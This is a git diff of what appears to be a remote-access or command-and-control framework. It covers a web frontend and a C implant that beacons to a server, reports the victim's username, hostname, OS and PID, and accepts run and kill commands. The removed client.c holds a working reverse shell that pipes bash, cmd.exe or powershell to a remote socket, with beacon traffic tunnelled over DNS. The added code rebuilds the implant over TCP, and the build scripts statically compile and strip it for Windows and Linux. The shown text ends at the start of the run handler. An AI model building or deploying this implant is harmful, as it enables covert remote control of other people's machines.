--- a/app/src/routes/run/[id]/+page.js
+++ b/app/src/routes/run/[session]/+page.js
@@ -9,6 +9,6 @@ export async function load({ fetch, params }) {
 
   return {
     address: address["address"],
-    id: params.id,
+    session: params.session,
   };
 }
diff --git a/app/src/routes/run/[id]/+page.svelte b/app/src/routes/run/[session]/+page.svelte
similarity index 80%
rename from app/src/routes/run/[id]/+page.svelte
rename to app/src/routes/run/[session]/+page.svelte
index 57b1f42..584ad3a 100644
--- a/app/src/routes/run/[id]/+page.svelte
+++ b/app/src/routes/run/[session]/+page.svelte
@@ -14,17 +14,18 @@
   async function checkjob(id) {
     const res = await getjob(fetch, id);
 
-    if (res["active"]) {
-      waiting = res["message"];
-    } else if (!res["active"] && res["success"]) {
-      success = res["message"];
-      await deljob(fetch, id);
+    if (res["waiting"]) {
+      waiting = "Waiting for response";
+    } else if (!res["waiting"] && res["success"]) {
+      success = `Got a successful response: ${res["message"]}`;
+    } else if (!res["waiting"] && !res["success"]) {
+      error = `Got a failure response: ${res["message"]}`;
+    }
 
+    if (!res["waiting"]) {
       setTimeout(async () => {
         await goto("/");
       }, 2000);
-    } else if (!res["active"] && !res["success"]) {
-      error = res["message"];
       return await deljob(fetch, id);
     }
 
@@ -40,13 +41,13 @@
       "user/agent/run",
       {
         address: host,
-        id: data.id,
+        session: data.session,
       },
       true
     );
 
     if (res["error"] != undefined) {
-      error = res["error"];
+      error = `Request failed: ${res["error"]}`;
       return;
     }
 
diff --git a/docker/init.sh b/docker/init.sh
index e6b0375..a66bbe9 100644
--- a/docker/init.sh
+++ b/docker/init.sh
@@ -1,9 +1,9 @@
 #!/bin/sh
 
 # update the API_URL for the frontend APP
-if [ ! -z "$API_URL" ]; then
-  API_URL=$(echo $API_URL | sed 's/\//\\\//g')
-  find ./static -type f -exec sed -i -e "s/http:\/\/127.0.0.1:5566/$API_URL/g" {} \;
+if [ ! -z "$EZCAT_API_URL" ]; then
+  EZCAT_API_URL=$(echo $EZCAT_API_URL | sed 's/\//\\\//g')
+  find ./static -type f -exec sed -i -e "s/http:\/\/127.0.0.1:5566/$EZCAT_API_URL/g" {} \;
 fi
 
 # run the server
diff --git a/payloads/stage/Makefile b/payloads/stage/Makefile
index 37d73d0..72d9339 100644
--- a/payloads/stage/Makefile
+++ b/payloads/stage/Makefile
@@ -1,12 +1,23 @@
+CSRCS   = $(wildcard src/*.c) $(wildcard src/*/*.c)
 HEADERS = $(wildcard src/*.h)
-CSRCS   = $(wildcard src/*.c)
 CFLAGS  = -O3
 CC      = gcc
 
+# options
+STAGE_ID = $(shell python3 -c 'print("0"*32, end="")')
+STAGE_SERVER_HOST = 127.0.0.1
+STAGE_SERVER_PORT = 5567
+STAGE_DEBUG = 1
+
 all: stage
 
 stage: $(CSRCS) $(HEADERS)
-	$(CC) $(CSRCS) $(CFLAGS) -o $@
+	$(CC) $(CSRCS) $(CFLAGS)                       \
+		-DSTAGE_ID=\"$(STAGE_ID)\"                   \
+		-DSTAGE_SERVER_PORT=$(STAGE_SERVER_PORT)     \
+		-DSTAGE_SERVER_HOST=\"$(STAGE_SERVER_HOST)\" \
+		-DSTAGE_DEBUG=$(STAGE_DEBUG)                 \
+		-o $@
 
 clean:
 	rm stage
diff --git a/payloads/stage/build.sh b/payloads/stage/build.sh
index 448cf25..cebaf88 100755
--- a/payloads/stage/build.sh
+++ b/payloads/stage/build.sh
@@ -3,12 +3,12 @@
 rm -f stage
 
 if [ "$1" == "windows_amd64" ]; then
-  make CFLAGS="-O3 -s -static -lws2_32" CC=x86_64-w64-mingw32-gcc
+  make CFLAGS="-O3 -s -static -lws2_32" CC=x86_64-w64-mingw32-gcc ${@:2}
   mv stage.exe stage
   strip --strip-unneeded stage
   exit $?
 elif [ "$1" == "linux_amd64" ]; then
-  make CFLAGS="-O3 -s -static" CC=gcc
+  make CFLAGS="-O3 -s -static" CC=gcc ${@:2}
   strip --strip-unneeded stage
   exit $?
 fi
diff --git a/payloads/stage/src/agent.c b/payloads/stage/src/agent.c
new file mode 100644
index 0000000..9e5d6b4
--- /dev/null
+++ b/payloads/stage/src/agent.c
@@ -0,0 +1,97 @@
+#ifdef _WIN32
+// clang-format off
+#include <winsock2.h> // winsock2 needs to be included before windows.h
+#include <windows.h>
+// clang-format on 
+#else
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <sys/utsname.h>
+#endif
+#include <errno.h>
+#include <limits.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "agent.h"
+#include "packet.h"
+#include "util.h"
+
+bool agent_connect(agent_t *agent) {
+  struct sockaddr addr;
+  struct timeval timeout = {
+      .tv_sec  = 10,
+      .tv_usec = 0,
+  };
+
+#ifdef _WIN32
+  // apperantly we need this to init winsock
+  // "The WSAStartup function initiates use of the Winsock DLL by a process."
+  WSADATA wsa_data;
+  if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != NO_ERROR) {
+    debug("failed to initiate winsock");
+    return EXIT_FAILURE;
+  }
+#endif
+
+  bzero(agent, sizeof(agent_t));
+  bzero(&addr, sizeof(addr));
+
+  if(!resolve(&addr, STAGE_SERVER_HOST, STAGE_SERVER_PORT)){
+    debug("failed to resolve %s:%d: %s", STAGE_SERVER_HOST, STAGE_SERVER_PORT);
+    goto fail;
+  }
+
+  if((agent->socket = socket(addr.sa_family, SOCK_STREAM, IPPROTO_TCP)) < 0) {
+    debug("failed to create a socket: %s", strerror(errno));
+    return false;
+  }
+
+  if (setsockopt(agent->socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)) < 0) {
+    debug("setsockopt failed for SO_RCVTIMEO: %s", strerror(errno));
+    return false;
+  }
+
+  if (setsockopt(agent->socket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) < 0) {
+    debug("setsockopt failed for SO_SNDTIMEO: %s", strerror(errno));
+    return false;
+  }
+
+  if (connect(agent->socket, &addr, sizeof(addr)) < 0) {
+    debug("failed to connect: %s", strerror(errno));
+    goto fail;
+  }
+
+  return true;
+fail:
+  agent_disconnect(agent);
+  return false;
+}
+
+void agent_disconnect(agent_t *agent) {
+  if(NULL == agent)
+    return;
+
+  close(agent->socket);
+  agent->socket = 0;
+}
+
+bool agent_send(agent_t *agent, packet_t *packet){
+  packet->header.session = agent->session;
+  packet->header.job_id = agent->job_id;
+  return packet_send(packet, agent->socket);
+}
+
+bool agent_recv(agent_t *agent, packet_t *packet) {
+  if(packet_recv(packet, agent->socket)){
+    agent->job_id = packet->header.job_id;
+    return true;
+  }
+  return false;
+}
diff --git a/payloads/stage/src/agent.h b/payloads/stage/src/agent.h
new file mode 100644
index 0000000..28a14a9
--- /dev/null
+++ b/payloads/stage/src/agent.h
@@ -0,0 +1,15 @@
+#pragma once
+#include "packet.h"
+#include <stdint.h>
+
+typedef struct {
+  uint32_t session;
+  uint16_t job_id;
+  int      socket;
+} agent_t;
+
+bool agent_send(agent_t *agent, packet_t *packet);
+bool agent_recv(agent_t *agent, packet_t *packet);
+
+bool agent_connect(agent_t *agent);
+void agent_disconnect(agent_t *agent);
diff --git a/payloads/stage/src/client.c b/payloads/stage/src/client.c
deleted file mode 100644
index 6fc4b00..0000000
--- a/payloads/stage/src/client.c
+++ /dev/null
@@ -1,444 +0,0 @@
-#ifdef _WIN32
-// clang-format off
-#include <winsock2.h>
-#include <windows.h>
-// clang-format on 
-#else
-#include <arpa/inet.h>
-#include <netinet/in.h>
-#include <sys/socket.h>
-#include <sys/utsname.h>
-#endif
-#include <errno.h>
-#include <limits.h>
-#include <stdbool.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#include "client.h"
-#include "config.h"
-#include "log.h"
-#include "packet.h"
-#include "util.h"
-
-char session[SESSION_LEN + 1];
-
-bool client_setup_socket(int s) {
-  struct timeval timeout = {
-      .tv_sec  = 10,
-      .tv_usec = 0,
-  };
-
-  if (setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)) < 0) {
-    debug("setsockopt failed for SO_RCVTIMEO: %s", strerror(errno));
-    return false;
-  }
-
-  if (setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) < 0) {
-    debug("setsockopt failed for SO_SNDTIMEO: %s", strerror(errno));
-    return false;
-  }
-
-  return true;
-}
-
-bool client_recv(int s, struct sockaddr *addr, res_t *res) {
-  dns_packet_t packet;
-  if (!packet_recv(s, addr, &packet))
-    return false;
-
-  char    *data = packet.answers[0].rdata;
-  uint16_t len  = packet.answers[0].rdlength;
-  ssize_t  indx = 0;
-
-  for (int i = 0; i < len; i++) {
-    if (i == 0) {
-      res->code = rot13_char(data[i]);
-      continue;
-    }
-    res->arg[indx] = data[i];
-    indx++;
-  }
-
-  // add null terminator
-  res->arg[indx] = 0;
-  rot13(res->arg);
-
-  packet_free(&packet);
-  return true;
-}
-
-bool client_send(int s, struct sockaddr *addr, req_t *req) {
-  if (strlen(req->arg) > LABEL_LIMIT) {
-    debug("failed to create command (bad arg size: %d > %d)", strlen(req->arg), LABEL_LIMIT);
-    return false;
-  }
-
-  // [client_send] 1. build up the name
-  // [client_send] 2. encode with rot13
-  // [packet_send] 3. convert it to a label
-  // for more details, see server/agent/protocol.go
-  char name[REQ_LABEL_LEN][LABEL_LIMIT + 1];
-
-  snprintf(name[0], LABEL_LIMIT + 1, "%s%s", ID, session);
-  rot13(name[0]);
-
-  snprintf(name[1], LABEL_LIMIT + 1, "%c", req->code);
-  rot13(name[1]);
-
-  if (req->end)
-    snprintf(name[2], LABEL_LIMIT + 1, "1");
-  else
-    snprintf(name[2], LABEL_LIMIT + 1, "0");
-  rot13(name[2]);
-
-  snprintf(name[3], LABEL_LIMIT + 1, "%s", req->arg);
-  rot13(name[3]);
-
-  // creating the packet and the question
-  dns_packet_t packet;
-  dns_qd_t     question;
-
-  bzero(&packet, sizeof(dns_packet_t));
-  bzero(&question, sizeof(dns_qd_t));
-  size_t packet_len = 0;
-
-  // building the header
-  packet.header.id      = randint(UINT16_MAX - 10, 1);
-  packet.header.flags   = 288;
-  packet.header.qdcount = 1;
-  packet.header.ancount = 0;
-  packet.header.nscount = 0;
-  packet.header.arcount = 0;
-
-  // alloc space for the question
-  packet_alloc(&packet);
-
-  // build the question
-  packet.questions[0].qname = malloc(sizeof(char *) * REQ_LABEL_LEN + 1);
-  for (int i = 0; i < REQ_LABEL_LEN; i++) {
-    ssize_t len                  = strlen(name[i]) + 1;
-    packet.questions[0].qname[i] = malloc(len);
-    memcpy(packet.questions[0].qname[i], name[i], len);
-  }
-  packet.questions[0].qname[REQ_LABEL_LEN] = NULL;
-  packet.questions[0].qtype                = 16;
-  packet.questions[0].qclass               = 1;
-
-  // oh here we go
-  packet_send(s, addr, &packet);
-
-  // cleanup
-  packet_free(&packet);
-  return true;
-}
-
-bool client_request(int s, struct sockaddr *addr, req_codes_t code, char *arg) {
-  char   *argcp  = arg;
-  ssize_t arglen = strlen(arg);
-  req_t   req    = {
-           .code = code,
-           .end  = true,
-           .arg  = NULL,
-  };
-
-  if (arglen <= ARGUMENT_LEN) {
-    req.arg = arg;
-    return client_send(s, addr, &req);
-  }
-
-  char part[ARGUMENT_LEN + 1];
-  bzero(part, ARGUMENT_LEN + 1);
-  req.end = false;
-
-  while (arglen > ARGUMENT_LEN) {
-    debug("sending multiple requests");
-    if (req.arg != NULL)
-      req.code = REQ_CONTINUE;
-
-    req.arg = part;
-    memcpy(part, argcp, ARGUMENT_LEN);
-
-    if (!client_send(s, addr, &req))
-      return false;
-
-    arglen -= ARGUMENT_LEN;
-    argcp += ARGUMENT_LEN;
-    sleep(1);
-  }
-
-  if (arglen != 0) {
-    debug("sending the last of the multiple requests");
-
-    req.code = REQ_CONTINUE;
-    req.end  = true;
-
-    memcpy(part, argcp, arglen + 1); // +1 for the NULL terminator
-
-    if (!client_send(s, addr, &req))
-      return false;
-  }
-
-  return true;
-}
-
-bool client_register(int s, struct sockaddr *addr) {
-  res_t res;
-
-  if (!client_request(s, addr, REQ_REGISTER, "Can I register please?"))
-    return false;
-
-  if (!client_recv(s, addr, &res))
-    return false;
-
-  if (res.code != RES_OK) {
-    debug("client_register got an invalid response");
-    return false;
-  }
-
-  if (strlen(res.arg) != SESSION_LEN) {
-    debug("bad session length");
-    return false;
-  }
-
-  memcpy(session, res.arg, SESSION_LEN + 1);
-  return true;
-}
-
-bool client_info(int s, struct sockaddr *addr) {
-  res_t res;
-
-#ifdef _WIN32
-#define UNLEN 256
-#define CNLEN 15
-
-  char  hostname[CNLEN + 1];
-  char  username[UNLEN + 1];
-  DWORD username_len = UNLEN + 1;
-  HKEY  hkey;
-  DWORD keysize = 0;
-  DWORD keytype = REG_SZ;
-
-  bzero(hostname, CNLEN + 1);
-  bzero(username, UNLEN + 1);
-
-  if (gethostname(hostname, CNLEN + 1) != 0) {
-    debug("_info: failed to get hostname");
-    client_request(s, addr, REQ_FAIL, "Failed to get hostname");
-    return false;
-  }
-
-  if (GetUserName(username, &username_len) == 0) {
-    debug("_info: failed to get username");
-    client_request(s, addr, REQ_FAIL, "Failed to get username");
-    return false;
-  }
-
-  if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hkey) !=
-      ERROR_SUCCESS) {
-    debug("_info: failed to aget version info");
-    client_request(s, addr, REQ_FAIL, "Failed to get version info");
-    return false;
-  }
-
-  if (RegQueryValueExW(hkey, L"ProductName", NULL, NULL, NULL, &keysize) != ERROR_SUCCESS) {
-    debug("_info: failed to query key size");
-    client_request(s, addr, REQ_FAIL, "Failed to get version info");
-    RegCloseKey(hkey);
-    return false;
-  }
-
-  char version[keysize + 1];
-  bzero(version, keysize + 1);
-  RegCloseKey(hkey);
-
-  if(RegGetValueA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", RRF_RT_REG_SZ, NULL, version, &keysize) != ERROR_SUCCESS){
-    debug("_info: failed to read the key");
-    client_request(s, addr, REQ_FAIL, "Failed to get version info");
-    RegCloseKey(hkey);
-    return false;
-  }
-
-  // 10 is for the PID, 5 is for extra space (@ and the space)
-  ssize_t infolen = strlen(hostname) + strlen(username) + keysize + 1 + 10 + 5;
-
-  char info[infolen];
-  bzero(info, infolen);
-
-  snprintf(info, infolen, "%s@%s@%s@%d", username, hostname, version, getpid());
-  debug("_info: sending %s", info);
-#else
-  char           hostname[HOST_NAME_MAX + 1];
-  char           username[LOGIN_NAME_MAX + 1];
-  struct utsname udata;
-
-  bzero(hostname, HOST_NAME_MAX + 1);
-  bzero(username, LOGIN_NAME_MAX + 1);
-
-  if (gethostname(hostname, HOST_NAME_MAX + 1) != 0) {
-    debug("_info: failed to get hostname");
-    client_request(s, addr, REQ_FAIL, "Failed to get hostaname");
-    return false;
-  }
-
-  if (getlogin_r(username, LOGIN_NAME_MAX + 1) != 0) {
-    debug("_info: failed to get username");
-    client_request(s, addr, REQ_FAIL, "Failed to get username");
-    return false;
-  }
-
-  if (uname(&udata) < 0) {
-    debug("_info: failed to get uname");
-    client_request(s, addr, REQ_FAIL, "Failed to get version info");
-    return false;
-  }
-
-  // 10 is for the PID, 5 is for extra space (@ and the space)
-  ssize_t infolen = strlen(hostname) + strlen(username) + strlen(udata.sysname) + strlen(udata.release) + 10 + 5;
-
-  char info[infolen];
-  bzero(info, infolen);
-
-  snprintf(info, infolen, "%s@%s@%s %s@%d", username, hostname, udata.sysname, udata.release, getpid());
-  debug("_info: sending %s", info);
-#endif
-
-  if (!client_request(s, addr, REQ_DONE, info))
-    return false;
-
-  if (!client_recv(s, addr, &res))
-    return false;
-
-  if (res.code != RES_OK) {
-    debug("_info: got an invalid response");
-    return false;
-  }
-
-  return true;
-}
-
-bool client_run(int s, struct sockaddr *addr, char *target) {
-  res_t res;
-#ifdef _WIN32
-  struct sockaddr_in  revaddr;
-  SOCKET              revsock;
-  PROCESS_INFORMATION revproc;
-  STARTUPINFO         revstart;
-
-  revsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
-  if (revsock == INVALID_SOCKET) {
-    debug("_run: failed to create a socket");
-    client_request(s, addr, REQ_FAIL, "Failed to create socket");
-    return false;
-  }
-
-  revaddr.sin_family = AF_INET;
-  if (!parse_addr(target, &revaddr)) {
-    debug("_run: bad address");
-    client_request(s, addr, REQ_FAIL, "Bad address");
-    return false;
-  }
-
-  if (WSAConnect(revsock, (SOCKADDR *)&revaddr, sizeof(revaddr), NULL, NULL, NULL, NULL) != 0) {
-    debug("_run: failed to connect");
-    client_request(s, addr, REQ_FAIL, "Failed to connect");
-    return false;
-  }
-
-  fprintfsock(revsock, "[+] Connected! You are running as PID %d\n", getpid());
-  fprintfsock(revsock, "[*] Executing an avaliable shell\n");
-
-  bzero(&revstart, sizeof(revstart));
-  revstart.cb        = sizeof(revstart);
-  revstart.dwFlags   = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
-  revstart.hStdInput = revstart.hStdOutput = revstart.hStdError = (HANDLE)revsock;
-
-  if (CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &revstart, &revproc) == 0) {
-    fprintfsock(revsock, "[-] Failed to execute cmd, trying powershell\n");
-    if (CreateProcess(NULL, "powershell.exe", NULL, NULL, TRUE, 0, NULL, NULL, &revstart, &revproc) == 0) {
-      fprintfsock(revsock, "[-] Failed to execute powershell\n");
-      fprintfsock(revsock, "[-] Closing connection because there were no avaliable shells\n");
-
-      debug("_run: failed to run a shell");
-      client_request(s, addr, REQ_FAIL, "Failed to run a shell");
-      return false;
-    }
-  }
-
-  closesocket(revsock);
-#else
-
-  struct sockaddr_in revaddr;
-  int                revsock;
-  pid_t              pid;
-
-  if (!parse_addr(target, &revaddr)) {
-    debug("_run: bad address");
-    client_request(s, addr, REQ_FAIL, "Bad address");
-    exit(0);
-  }
-
-  revsock            = socket(AF_INET, SOCK_STREAM, 0);
-  revaddr.sin_family = AF_INET;
-
-  if (connect(revsock, (struct sockaddr *)&revaddr, sizeof(revaddr)) < 0) {
-    debug("_run: connect failed (%s)", strerror(errno));
-    client_request(s, addr, REQ_FAIL, "Failed to connect");
-    exit(0);
-  }
-
-  dprintf(revsock, "[+] Connected! You are running as PID %d\n", getpid());
-  dprintf(revsock, "[*] Executing an avaliable shell\n");
-
-  pid = fork();
-
-  if (pid == 0) {
-    dup2(revsock, STDOUT_FILENO);
-    dup2(revsock, STDERR_FILENO);
-    dup2(revsock, STDIN_FILENO);
-
-    char *argv[] = {"bash", "-i", NULL};
-    execvp("bash", argv);
-
-    // if bash is not found execute sh
-    dprintf(revsock, "[-] Failed to execute bash, trying sh\n");
-    argv[0] = "sh";
-    execvp("sh", argv);
-
-    // if sh is not found just exit
-    dprintf(revsock, "[-] Failed to execute sh\n");
-    dprintf(revsock, "[-] Closing connection because there were no avaliable shells\n");
-
-    close(revsock);
-    exit(0);
-  }
-
-  close(revsock);
-#endif
-
-  if (!client_request(s, addr, REQ_DONE, "Sent the shell connection"))
-    return false;
-
-  if (!client_recv(s, addr, &res))
-    return false;
-
-  if (res.code != RES_OK) {
-    debug("_run: got invalid response");
-    return false;
-  }
-
-  return true;
-}
-
-bool client_kill(int s, struct sockaddr *addr) {
-  client_request(s, addr, REQ_DONE, "Killed the connection");
-
-  close(s);
-  exit(1);
-
-  // never runs
-  return true;
-}
diff --git a/payloads/stage/src/client.h b/payloads/stage/src/client.h
deleted file mode 100644
index 5cc2a7d..0000000
--- a/payloads/stage/src/client.h
+++ /dev/null
@@ -1,53 +0,0 @@
-#pragma once
-
-#include <stdint.h>
-#ifdef _WIN32
-#include <winsock2.h>
-#else
-#include <sys/socket.h>
-#endif
-
-#define ARGUMENT_LEN 63
-#define SESSION_LEN 31
-#define ID_LEN 31
-
-extern char session[SESSION_LEN + 1];
-
-typedef enum req_codes {
-  REQ_REGISTER = 'R',
-  REQ_CONTINUE = 'C',
-  REQ_WORK     = 'W',
-  REQ_DONE     = 'D',
-  REQ_FAIL     = 'F',
-} req_codes_t;
-
-typedef enum res_codes {
-  RES_NOTNOW = 'N',
-  RES_FAIL   = 'F',
-  RES_OK     = 'K',
-
-  RES_INFO = 'I',
-  RES_KILL = 'D',
-  RES_RUN  = 'R',
-} res_codes_t;
-
-typedef struct req {
-  req_codes_t code;
-  char       *arg;
-  bool        end;
-} req_t;
-
-typedef struct res {
-  res_codes_t code;
-  char        arg[ARGUMENT_LEN];
-} res_t;
-
-bool client_setup_socket(int s);
-bool client_send(int s, struct sockaddr *addr, req_t *req);
-bool client_recv(int s, struct sockaddr *addr, res_t *res);
-bool client_request(int s, struct sockaddr *addr, req_codes_t code, char *arg);
-
-bool client_register(int s, struct sockaddr *addr);
-bool client_info(int s, struct sockaddr *addr);
-bool client_run(int s, struct sockaddr *addr, char *target);
-bool client_kill(int s, struct sockaddr *addr);
diff --git a/payloads/stage/src/cmd.c b/payloads/stage/src/cmd.c
new file mode 100644
index 0000000..f689435
--- /dev/null
+++ b/payloads/stage/src/cmd.c
@@ -0,0 +1,62 @@
+#include "cmd.h"
+#include "agent.h"
+#include "packet.h"
+#include "util.h"
+
+bool cmd_handle(agent_t *agent) {
+  bool     ret = true;
+  packet_t packet;
+
+  packet_set_flags(&packet, PACKET_TYPE_REQ, CMD_ASK);
+  packet_set_data(&packet, NULL, 0);
+
+  if (!agent_send(agent, &packet)) {
+    debug("failed to send the ask command");
+    goto end;
+  }
+
+  packet_free(&packet);
+
+  if (!agent_recv(agent, &packet)) {
+    debug("failed to receive a packet");
+    goto end;
+  }
+
+  switch (packet_cmd(&packet)) {
+  case CMD_AUTH:
+    debug("server asked for registeration");
+    if (!cmd_register(agent)) {
+      debug("registration failed");
+      ret = false;
+    }
+    break;
+
+  case CMD_NONE:
+    debug("asked for a job, but there is nothing to do");
+    break;
+
+  case CMD_INFO:
+    debug("received an info command");
+    cmd_info_handler(agent, &packet);
+    break;
+
+  case CMD_RUN:
+    debug("received a run command");
+    cmd_run_handler(agent, &packet);
+    break;
+
+  case CMD_KILL:
+    debug("received a kill command");
+    cmd_success(agent, "success", 0);
+    ret = false;
+    break;
+
+  default:
+    debug("received an unknown command: %d", packet_cmd(&packet));
+    break;
+  }
+
+end:
+  packet_free(&packet);
+  return ret;
+}
diff --git a/payloads/stage/src/cmd.h b/payloads/stage/src/cmd.h
new file mode 100644
index 0000000..3477780
--- /dev/null
+++ b/payloads/stage/src/cmd.h
@@ -0,0 +1,28 @@
+#pragma once
+#include <stdbool.h>
+#include <stdint.h>
+
+#include "agent.h"
+
+typedef enum {
+  CMD_FAILURE  = 0,
+  CMD_SUCCESS  = 1,
+  CMD_REGISTER = 2,
+  CMD_KILL     = 3,
+  CMD_RUN      = 4,
+  CMD_ASK      = 5,
+  CMD_INFO     = 6,
+  CMD_NONE     = 7,
+  CMD_AUTH     = 8,
+} cmd_t;
+
+bool cmd_register(agent_t *agent);
+bool cmd_handle(agent_t *agent);
+
+// command helpers
+bool cmd_success(agent_t *agent, char *data, uint8_t data_size);
+bool cmd_failure(agent_t *agent, char *data, uint8_t data_size);
+
+// command handlers
+bool cmd_info_handler(agent_t *agent, packet_t *packet);
+bool cmd_run_handler(agent_t *agent, packet_t *packet);
diff --git a/payloads/stage/src/cmd/failure.c b/payloads/stage/src/cmd/failure.c
new file mode 100644
index 0000000..2e8f032
--- /dev/null
+++ b/payloads/stage/src/cmd/failure.c
@@ -0,0 +1,16 @@
+#include "../cmd.h"
+#include "../util.h"
+
+bool cmd_failure(agent_t *agent, char *data, uint8_t data_size) {
+  packet_t packet;
+  bool     ret = false;
+
+  packet_set_flags(&packet, PACKET_TYPE_REQ, CMD_FAILURE);
+  packet_set_data(&packet, data, data_size);
+
+  if (!(ret = agent_send(agent, &packet)))
+    debug("failed to send the failure command");
+
+  packet_free(&packet);
+  return ret;
+}
diff --git a/payloads/stage/src/cmd/info.c b/payloads/stage/src/cmd/info.c
new file mode 100644
index 0000000..b57b88a
--- /dev/null
+++ b/payloads/stage/src/cmd/info.c
@@ -0,0 +1,136 @@
+#ifdef _WIN32
+// clang-format off
+#include <winsock2.h>
+#include <windows.h>
+// clang-format on
+#else
+#include <sys/socket.h>
+#include <sys/utsname.h>
+#endif
+
+#include <limits.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "../cmd.h"
+#include "../util.h"
+
+bool cmd_info_handler(agent_t *agent, packet_t *packet) {
+  ssize_t infolen = 0;
+
+#ifdef _WIN32
+#define UNLEN 256
+#define CNLEN 15
+
+  char  hostname[CNLEN + 1];
+  char  username[UNLEN + 1];
+  DWORD username_len = UNLEN + 1;
+  HKEY  hkey;
+  DWORD keysize = 0;
+  DWORD keytype = REG_SZ;
+
+  bzero(hostname, CNLEN + 1);
+  bzero(username, UNLEN + 1);
+
+  if (gethostname(hostname, CNLEN + 1) != 0) {
+    debug("failed to get hostname");
+    cmd_failure(agent, "failed to get the hostname", 0);
+    return false;
+  }
+
+  if (GetUserName(username, &username_len) == 0) {
+    debug("failed to get username");
+    cmd_failure(agent, "failed to get the username", 0);
+    return false;
+  }
+
+  if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hkey) !=
+      ERROR_SUCCESS) {
+    debug("failed to get version info");
+    cmd_failure(agent, "failed to get version info", 0);
+    return false;
+  }
+
+  if (RegQueryValueExW(hkey, L"ProductName", NULL, NULL, NULL, &keysize) != ERROR_SUCCESS) {
+    debug("failed to query key size");
+    cmd_failure(agent, "failed to query key size", 0);
+    RegCloseKey(hkey);
+    return false;
+  }
+
+  char version[keysize + 1];
+  bzero(version, keysize + 1);
+  RegCloseKey(hkey);
+
+  if (RegGetValueA(HKEY_LOCAL_MACHINE,
+          "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
+          "ProductName",
+          RRF_RT_REG_SZ,
+          NULL,
+          version,
+          &keysize) != ERROR_SUCCESS) {
+    debug("failed to read the key");
+    cmd_failure(agent, "failed to read the key", 0);
+    RegCloseKey(hkey);
+    return false;
+  }
+
+  // 10 is for the PID, 5 is for extra space (@ and the space)
+  infolen = strlen(hostname) + strlen(username) + keysize + 1 + 10 + 5;
+
+  char info[infolen];
+  bzero(info, infolen);
+
+  snprintf(info, infolen, "%s@%s@%s@%d", username, hostname, version, getpid());
+#else
+  char           hostname[HOST_NAME_MAX + 1];
+  char           username[LOGIN_NAME_MAX + 1];
+  char          *distro = get_distro();
+  struct utsname udata;
+
+  bzero(hostname, HOST_NAME_MAX + 1);
+  bzero(username, LOGIN_NAME_MAX + 1);
+
+  if (gethostname(hostname, HOST_NAME_MAX + 1) != 0) {
+    debug("failed to get hostname");
+    cmd_failure(agent, "failed to get the hostname", 0);
+    return false;
+  }
+
+  if (getlogin_r(username, LOGIN_NAME_MAX + 1) != 0) {
+    debug("failed to get username");
+    cmd_failure(agent, "failed to get the username", 0);
+    return false;
+  }
+
+  if (uname(&udata) < 0) {
+    debug("failed to get uname");
+    cmd_failure(agent, "failed to get uname", 0);
+    return false;
+  }
+
+  // 10 is for the PID, 5 is for extra space (@ and the space)
+  infolen = strlen(username) + strlen(hostname) + strlen(udata.sysname) + strlen(udata.release) + 10 + 5;
+
+  if (NULL != distro)
+    infolen += strlen(distro);
+
+  char info[infolen];
+  bzero(info, infolen);
+
+  if (NULL == distro)
+    snprintf(info, infolen, "%s@%s@%s %s@%d", username, hostname, udata.sysname, udata.release, getpid());
+  else
+    snprintf(info, infolen, "%s@%s@%s %s %s@%d", username, hostname, distro, udata.sysname, udata.release, getpid());
+#endif
+
+  debug("sending %s", info);
+
+  if (!cmd_success(agent, info, 0)) {
+    debug("failed to send the info command result");
+    return false;
+  }
+
+  return true;
+}
diff --git a/payloads/stage/src/cmd/register.c b/payloads/stage/src/cmd/register.c
new file mode 100644
index 0000000..2151431
--- /dev/null
+++ b/payloads/stage/src/cmd/register.c
@@ -0,0 +1,41 @@
+#include "../cmd.h"
+#include "../util.h"
+
+bool cmd_register(agent_t *agent) {
+  bool     ret = false;
+  packet_t packet;
+
+  packet_set_flags(&packet, PACKET_TYPE_REQ, CMD_REGISTER);
+  packet_set_data(&packet, STAGE_ID, 0);
+
+  if (!agent_send(agent, &packet)) {
+    debug("failed to send the register command");
+    goto end;
+  }
+
+  packet_free(&packet);
+
+  if (!agent_recv(agent, &packet)) {
+    debug("failed to receive the register command result");
+    goto end;
+  }
+
+  switch (packet_cmd(&packet)) {
+  case CMD_SUCCESS:
+    agent->session = packet.header.session;
+    debug("registered with session %u", agent->session);
+
+    ret = true;
+    goto end;
+
+  case CMD_FAILURE:
+    debug("failed to register: %s", packet.data);
+    goto end;
+  }
+
+  debug("received an unknown response command, register failed");
+
+end:
+  packet_free(&packet);
+  return ret;
+}
diff --git a/payloads/stage/src/cmd/run.c b/payloads/stage/src/cmd/run.c
new file mode 100644
index 0000000..f2ff5b0
--- /dev/null
+++ b/payloads/stage/src/cmd/run.c
@@ -0,0 +1,130 @@
+#ifdef _WIN32
+// clang-format off
+#include <winsock2.h>
+#include <windows.h>
+// clang-format on
+#else
+#include <arpa/inet.h>
+#include <netinet/in.h>
+#endif
+
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <errno.h>
+#include <stdio.h>
+
+#include "../cmd.h"
+#include "../util.h"
+
+bool cmd_run_handler(agent_t *agent, packet_t *packet) {
